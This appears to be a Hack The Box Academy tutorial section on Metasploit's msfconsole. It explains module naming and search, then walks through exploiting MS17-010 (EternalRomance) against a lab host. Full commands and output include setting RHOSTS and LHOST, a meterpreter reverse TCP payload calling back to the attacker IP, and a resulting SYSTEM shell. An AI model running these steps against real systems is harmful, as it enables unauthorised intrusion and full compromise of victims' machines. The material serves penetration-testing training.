As we mentioned previously, Metasploit modules are prepared scripts with a specific purpose and corresponding functions that have already been developed and tested in the wild. The exploit category consists of so-called proof-of-concept (POCs) that can be used to exploit existing vulnerabilities in a largely automated manner. Many people often think that the failure of the exploit disproves the existence of the suspected vulnerability. However, this is only proof that the Metasploit exploit does not work and not that the vulnerability does not exist. This is because many exploits require customization according to the target hosts to make the exploit work. Therefore, automated tools such as the Metasploit framework should only be considered a support tool and not a substitute for our manual skills.
Once we are in the msfconsole, we can select from an extensive list containing all the available Metasploit modules. Each of them is structured into folders, which will look like this:
Syntax
Modules
<No.> <type>/<os>/<service>/<name>
Example
Modules
794 exploit/windows/ftp/scriptftp_list
Index No.
The No. tag will be displayed to select the exploit we want afterward during our searches. We will see how helpful the No. tag can be to select specific Metasploit modules later.
Type
The Type tag is the first level of segregation between the Metasploit modules. Looking at this field, we can tell what the piece of code for this module will accomplish. Some of these types are not directly usable as an exploit module would be, for example. However, they are set to introduce the structure alongside the interactable ones for better modularization. To explain better, here are the possible types that could appear in this field:
Type | Description |
|---|---|
| Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality. |
| Ensure that payloads are intact to their destination. |
| Defined as modules that exploit a vulnerability that will allow for the payload delivery. |
| (No Operation code) Keep the payload sizes consistent across exploit attempts. |
| Code runs remotely and calls back to the attacker machine to establish a connection (or shell). |
| Additional scripts can be integrated within an assessment with |
| Wide array of modules to gather information, pivot deeper, etc. |
Note that when selecting a module to use for payload delivery, the use <no.> command can only be used with the following modules that can be used as initiators (or interactable modules):
Type | Description |
|---|---|
| Scanning, fuzzing, sniffing, and admin capabilities. Offer extra assistance and functionality. |
| Defined as modules that exploit a vulnerability that will allow for the payload delivery. |
| Wide array of modules to gather information, pivot deeper, etc. |
OS
The OS tag specifies which operating system and architecture the module was created for. Naturally, different operating systems require different code to be run to get the desired results.
Service
The Service tag refers to the vulnerable service that is running on the target machine. For some modules, such as the auxiliary or post ones, this tag can refer to a more general activity such as gather, referring to the gathering of credentials, for example.
Name
Finally, the Name tag explains the actual action that can be performed using this module created for a specific purpose.
Searching for Modules
Metasploit also offers a well-developed search function for the existing modules. With the help of this function, we can quickly search through all the modules using specific tags to find a suitable one for our target.
MSF - Search Function
Modules
msf6 > help search
Usage: search [<options>] [<keywords>:<value>]
Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.
OPTIONS:
-h Show this help information
-o <file> Send output to a file in csv format
-S <string> Regex pattern used to filter search results
-u Use module if there is one result
-s <search_column> Sort the research results based on <search_column> in ascending order
-r Reverse the search results order to descending order
Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description
fullname : Modules with a matching full name
mod_time : Modules with a matching modification date
name : Modules with a matching descriptive name
path : Modules with a matching path
platform : Modules affecting this platform
port : Modules with a matching port
rank : Modules with a matching rank (Can be descriptive (ex: 'good') or numeric with comparison operators (ex: 'gte400'))
ref : Modules with a matching ref
reference : Modules with a matching reference
target : Modules affecting this target
type : Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)
Supported search columns:
rank : Sort modules by their exploitabilty rank
date : Sort modules by their disclosure date. Alias for disclosure_date
disclosure_date : Sort modules by their disclosure date
name : Sort modules by their name
type : Sort modules by their type
check : Sort modules by whether or not they have a check method
Examples:
search cve:2009 type:exploit
search cve:2009 type:exploit platform:-linux
search cve:2009 -s name
search type:exploit -s type -r
For example, we can try to find the EternalRomance exploit for older Windows operating systems. This could look something like this:
MSF - Searching for EternalRomance
Modules
msf6 > search eternalromance
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
msf6 > search eternalromance type:exploit
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
We can also make our search a bit more coarse and reduce it to one category of services. For example, for the CVE, we could specify the year (cve:<year>), the platform Windows (platform:<os>), the type of module we want to find (type:<auxiliary/exploit/post>), the reliability rank (rank:<rank>), and the search name (<pattern>). This would reduce our results to only those that match all of the above.
MSF - Specific Search
Modules
msf6 > search type:exploit platform:windows cve:2021 rank:excellent microsoft
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/exchange_proxylogon_rce 2021-03-02 excellent Yes Microsoft Exchange ProxyLogon RCE
1 exploit/windows/http/exchange_proxyshell_rce 2021-04-06 excellent Yes Microsoft Exchange ProxyShell RCE
2 exploit/windows/http/sharepoint_unsafe_control 2021-05-11 excellent Yes Microsoft SharePoint Unsafe Control and ViewState RCE
Module Selection
To select our first module, we first need to find one. Let's suppose that we have a target running a version of SMB vulnerable to EternalRomance (MS17_010) exploits. We have found that SMB server port 445 is open upon scanning the target.
Modules
surajvish@htb[/htb]$ nmap -sV 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 21:38 UTC
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.10.40
Host is up (0.051s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.87 seconds
We would boot up msfconsole and search for this exact exploit name.
MSF - Search for MS17_010
Modules
msf6 > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
Next, we want to select the appropriate module for this scenario. From the Nmap scan, we have detected the SMB service running on version Microsoft Windows 7 - 10. With some additional OS scanning, we can guess that this is a Windows 7 running a vulnerable instance of SMB. We then proceed to select the module with the index no. 2 to test if the target is vulnerable.
Using Modules
Within the interactive modules, there are several options that we can specify. These are used to adapt the Metasploit module to the given environment. Because in most cases, we always need to scan or attack different IP addresses. Therefore, we require this kind of functionality to allow us to set our targets and fine-tune them. To check which options are needed to be set before the exploit can be sent to the target host, we can use the show options command. Everything required to be set before the exploitation can occur will have a Yes under the Required column.
MSF - Select Module
Modules
<SNIP>
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
msf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Here we see how helpful the No. tags can be. Because now, we do not have to type the whole path but only the number assigned to the Metasploit module in our search. We can use the command info after selecting the module if we want to know something more about the module. This will give us a series of information that can be important for us.
MSF - Module Information
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > info
Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Module: exploit/windows/smb/ms17_010_psexec
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-14
Provided by:
sleepya
zerosum0x0
Shadow Brokers
Equation Group
Available targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/
wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a nor
mal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload information:
Space: 3072
Description:
This module will exploit SMB with vulnerabilities in MS17-010 to
achieve a write-what-where primitive. This will then be used to
overwrite the connection session information with as an
Administrator session. From there, the normal psexec payload code
execution is done. Exploits a type confusion between Transaction and
WriteAndX requests and a race condition in Transaction requests, as
seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue
exploit, but requires a named pipe.
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://github.com/worawit/MS17-010
https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-exploit-analysis/
Also known as:
ETERNALSYNERGY
ETERNALROMANCE
ETERNALCHAMPION
ETERNALBLUE
After we are satisfied that the selected module is the right one for our purpose, we need to set some specifications to customize the module to use it successfully against our target host, such as setting the target (RHOST or RHOSTS).
MSF - Target Specification
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
In addition, there is the option setg, which specifies options selected by us as permanent until the program is restarted. Therefore, if we are working on a particular target host, we can use this command to set the IP address once and not change it again until we change our focus to a different IP address.
MSF - Permanent Target Specification
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > setg RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Finally, since we are about to use a TCP-based reverse shell (/windows/meterpreter/reverse_tcp) we need to specify to which IP address it needs to connect to in order to establish a connection. Therefore, we need to set LHOST to our own IP address like following:
MSF - LHOST Specification
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > setg LHOST 10.10.14.15
LHOSTS => 10.10.14.15
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Once everything is set and ready to go, we can proceed to launch the attack. Note that the payload was not set here, as the default one is sufficient for this demonstration.
MSF - Exploit Execution
Modules
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter> shell
C:\Windows\system32>
We now have a shell on the target machine, and we can interact with it.
MSF - Target Interaction
Modules
C:\Windows\system32> whoami
whoami
nt authority\system
This has been a quick and dirty example of how msfconsole can help out quickly but serves as an excellent example of how the framework works. Only one module was needed without any payload selection, encoding or pivoting between sessions or jobs.